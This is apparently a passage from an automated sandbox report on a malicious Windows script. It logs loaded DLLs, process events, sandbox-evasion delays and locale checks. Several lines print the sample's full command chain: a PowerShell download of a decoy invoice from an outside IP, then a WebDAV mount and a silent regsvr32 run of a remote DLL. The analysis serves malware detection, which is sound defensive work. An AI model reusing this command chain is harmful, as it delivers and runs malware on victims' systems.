Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\3108.js.csv");ITextStream.WriteLine(" entry:7538 f:xyjip");ITextStream.WriteLine(" exec:2 f:xyjip");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3679			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5964			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7096	Thread sleep count: 3679 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6468	Thread sleep count: 5964 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6516	Thread sleep time: -8301034833169293s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5760	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6500	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7136	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 3576	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7260	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000002.2138908266.00000270B2728000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2138908266.00000270B26C8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3365663156.000001CF6402B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3366750331.000001CF69655000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13164224385048.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13164224385048.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13164224385048.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\13164224385048.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
